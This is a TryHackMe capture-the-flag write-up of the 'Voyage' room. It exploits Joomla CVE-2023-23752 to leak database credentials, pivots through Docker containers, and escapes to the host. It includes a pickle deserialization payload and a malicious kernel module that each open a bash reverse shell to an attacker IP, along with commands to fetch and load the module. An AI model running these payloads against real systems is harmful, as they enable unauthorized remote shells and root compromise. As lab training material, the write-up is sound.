Voyage
Voyage
Pwned Date: 30 Aug 2025
WriteUp By: echo8134
Machine Author: 1337rce
Difficulty: Medium
TryHackMe: Voyage
Synopsis
Voyage is a medium-difficulty Linux room featuring a Joomla CMS with a critical information disclosure vulnerability (CVE-2023-23752). Initial enumeration reveals database credentials through the Joomla API, which provides SSH access to a Docker container. The attack path involves exploiting a Python Flask application with insecure deserialization via pickle-serialized cookies to gain access to a second container. Privilege escalation is achieved by abusing the CAP_SYS_MODULE capability to load a malicious kernel module, escaping the container and gaining root on the host system.
Skills Required
- Web enumeration and Joomla exploitation
- Python pickle deserialization
- Docker container enumeration
- Linux kernel module exploitation
- Port forwarding and pivoting
Skills Learned
- Exploiting Joomla CVE-2023-23752 for information disclosure
- Crafting malicious pickle payloads for RCE
- Container escape via CAP_SYS_MODULE capability
- Kernel module compilation and loading
- Multi-container lateral movement
Enumeration
Nmap
sudo nmap -sC -sV -vv -oA nmap 10.10.97.151
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.11
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
| http-robots.txt: 16 disallowed entries
|_/joomla/administrator/ /administrator/ /api/ <snip>
|_http-generator: Joomla! - Open Source Content Management
2222/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13
Key findings:
- Port 22: Standard SSH (OpenSSH 9.6p1)
- Port 80: Apache running Joomla CMS
- Port 2222: Second SSH service (OpenSSH 8.2p1)
Web Enumeration

Initial reconnaissance reveals:
- Joomla CMS installation
- Forgot username endpoint:
/index.php/component/users/remind?Itemid=101 - Password reset endpoint:
/index.php/component/users/reset?Itemid=101 - No user registration functionality
Joomla Version Discovery
Using Joomscan, we can quickly find out the Joomla version.
[+] Detecting Joomla Version
[++] Joomla 4.2.7
Joomla 4.2.7 identified - searching for vulnerabilities leads to CVE-2023-23752.
Vulnerability Discovery
CVE-2023-23752: Joomla Information Disclosure
Reference:
- https://www.sentinelone.com/blog/joomla-cve-2023-23752/
- https://github.com/Youns92/Joomla-v4.2.8—CVE-2023-23752/blob/main/exploit.sh
We discovered a vulnerability in Joomla that exposes sensitive database information via the API. The following command reveals username and password for the database:
Extracting database configuration:
curl -s "http://10.10.97.151/api/index.php/v1/config/application?public=true"
<snip>
"user":"root",
"password":"Roo<snip>",
"db":"joomla_db",
"host":"localhost"
<snip>
Discovered credentials:
- Database User:
root - Database Password:
Roo<snip> - Database Name:
joomla_db
Foothold
SSH Access via Port 2222
We use the discovered SSH credentials to gain access to the container running on Port 2222:
ssh [email protected] -p 22
# access denied
ssh [email protected] -p 2222
# Password: Roo<snip>
Upon successful login, we begin container enumeration.
Container Enumeration
Initial enumeration shows that we are in a Docker container. We can confirm this by checking the overlay file system.
root@f5eb774507f2:~# mount | grep docker
overlay on / type overlay <snip>
root@f5eb774507f2:~# hostname
f5eb774507f2
root@f5eb774507f2:~# ip addr
<snip>
inet 192.168.100.10/24 brd 192.168.100.255 scope global eth0
Furthermore, we find the container network: 192.168.100.10/24
Internal Network Discovery
root@f5eb774507f2:~# ls -la
total 24
drwx------ 1 root root 4096 Jun 25 18:02 .
drwxr-xr-x 1 root root 4096 Jun 25 18:01 ..
-rw------- 1 root root 24 Jun 25 18:02 .bash_history
-rw-r--r-- 1 root root 3106 Dec 5 2019 .bashrc
drwx------ 2 root root 4096 Jun 25 18:01 .cache
-rw-r--r-- 1 root root 161 Dec 5 2019 .profile
root@f5eb774507f2:~# cat .bash_history
ls
curl
nmap
socat
exit
root@f5eb774507f2:~# which curl wget nc netcat telnet nmap masscan
/usr/bin/curl
/usr/bin/wget
/usr/bin/nmap
Examining the .bash_historywe can see that nmap was recently used. Furthermore, we can see that nmap is installed.
Doing a quick nmap scan on the earlier discovered container network shows:
root@f5eb774507f2:~# nmap -sn 192.168.100.0/24
<snip>
Nmap scan report for voyage_priv2.joomla-net (192.168.100.12)
Host is up (0.000018s latency).
<snip>
Doing a full scan on the discovered host:
<snip>
root@f5eb774507f2:/tmp# nmap -sV -sC 192.168.100.12
<snip>
PORT STATE SERVICE VERSION
5000/tcp open upnp?
<snip>
| Server: Werkzeug/3.1.3 Python/3.10.12
<snip>
| <title>Tourism Secret Finance Panel</title>
<snip>
- Port 5000 is open and associated with the upnp (Universal Plug and Play) service
- HTTP headers in the response include
Werkzeug/3.1.3 Python/3.10.12indicating a Python-based web application. - Some additional HTML content
Lateral Movement
Port Forwarding to Access Internal Service
Setting up SSH tunnel:
ssh [email protected] -p 2222 -L 5000:192.168.100.12:5000

Accessing http://localhost:5000 reveals a Flask application with a login panel.
Session Cookie Analysis
After logging in (any credentials work), we examine the session cookie:
import pickle
import codecs
cookie_hex = '80049526000000000000007d94288c0475736572948c05<snip>'
cookie_bytes = codecs.decode(cookie_hex, 'hex')
data = pickle.loads(cookie_bytes)
print('Cookie data:', data)
# Output: {'user': 'admin', 'revenue': '85000'}
The session cookie (session_data) is a hex-encoded Python pickle (e.g., starts 0x80 0x04 0x95 → pickle PROTO v4/FRAME). Since the server pickle.loads() this value, an attacker-supplied cookie can trigger arbitrary code via __reduce__, i.e., classic insecure deserialization → RCE.
Exploiting Pickle Deserialization
Crafting malicious payload:
import pickle
import os
import binascii
class RCE:
def __reduce__(self):
return (os.system, (
"/bin/bash -c 'bash -i >& /dev/tcp/10.14.109.26/4445 0>&1'",
))
payload = pickle.dumps(RCE())
hex_payload = binascii.hexlify(payload).decode()
print(hex_payload)
Intercepting the request with Burp Suite and replacing the session cookie:
session_data=80049554000000000000008c05706f736978948c06<snip>
After triggering the payload, we obtain a shell.
nc -lvnp 4445
# Connection received
root@d221f7bc7bf8:~# cat /root/user.txt
Privilege Escalation
Container Capabilities Analysis
After obtaining a shell, we enumerate the system again. Taking a look at the bash history we can see that the machine was likely exploited before…
root@d221f7bc7bf8:~# cat .bash_history
<snip>
curl 10.10.9.89:9000/hello.c > hello.c
ls
curl 10.10.9.89:9000/Makefile > Makefile
make
ls
mv hello.c revshell.c
ls
make
insmod revshell.ko
<snip>
We can recreate the same attack chain and and upload our own reverse shell payload. As we see in the follow up, this is possible because the system has the capability to load kernel modules (CAP_SYS_MODULE).
After initial enumeration we download deepce.sh and cdk on the machine and check for risky capabilities.
root@d221f7bc7bf8:~# ./deepce.sh
<snip>
[+] Dangerous Capabilities .. Yes
Current: cap_chown,cap_dac_override,<snip>,cap_sys_module,<snip>
root@d221f7bc7bf8:~# ./cdk eva --full
<snip>
[!] CAP_SYS_MODULE enabled. You can escape the container via loading kernel module.
The container has CAP_SYS_MODULE capability, allowing kernel module loading.
Kernel Module Exploitation
Local Compilation Setup
Creating a build environment matching the target kernel:
docker run --rm -it -v "$PWD":/build ubuntu:22.04 bash
# Inside container
apt-get update
echo "deb http://archive.ubuntu.com/ubuntu noble main <snip>" \
> /etc/apt/sources.list.d/noble.list
apt-get install -y gcc-13 linux-headers-6.8.0-1031-aws
Malicious Kernel Module
Creating revshell.c:
#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
static char *lhost = "127.0.0.1"; module_param(lhost, charp, 0);
static int lport = 4444; module_param(lport, int, 0);
static int __init init_mod(void){
char cmd[256];
static char *argv[] = { "/bin/sh", "-c", NULL, NULL };
static char *envp[] = { "HOME=/", "PATH=<snip>", NULL };
snprintf(cmd, sizeof(cmd),
"/bin/bash -c 'bash -i >& /dev/tcp/%s/%d 0>&1'",
lhost, lport);
argv[2] = cmd;
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
<snip>
Makefile:
KVER ?= 6.8.0-1031-aws
obj-m += revshell.o
KDIR := /lib/modules/$(KVER)/build
all:
$(MAKE) -C $(KDIR) M=$(PWD) CC=gcc-13 modules
Container Escape
Building and deploying:
# Build module
make KVER=6.8.0-1031-aws
# Verify vermagic
strings revshell.ko | grep -i vermagic
# vermagic=6.8.0-1031-aws SMP mod_unload modversions
# Transfer to target
curl -sS http://10.14.109.26:8001/revshell.ko -o /tmp/revshell.ko
# Load module with attacker IP
insmod /tmp/revshell.ko lhost=10.14.109.26 lport=4444
Root Flag
# On attacker machine
nc -lvnp 4444
# Connection from host system
root@tryhackme-2404:/# whoami
root
root@tryhackme-2404:/# cat /root/root.txt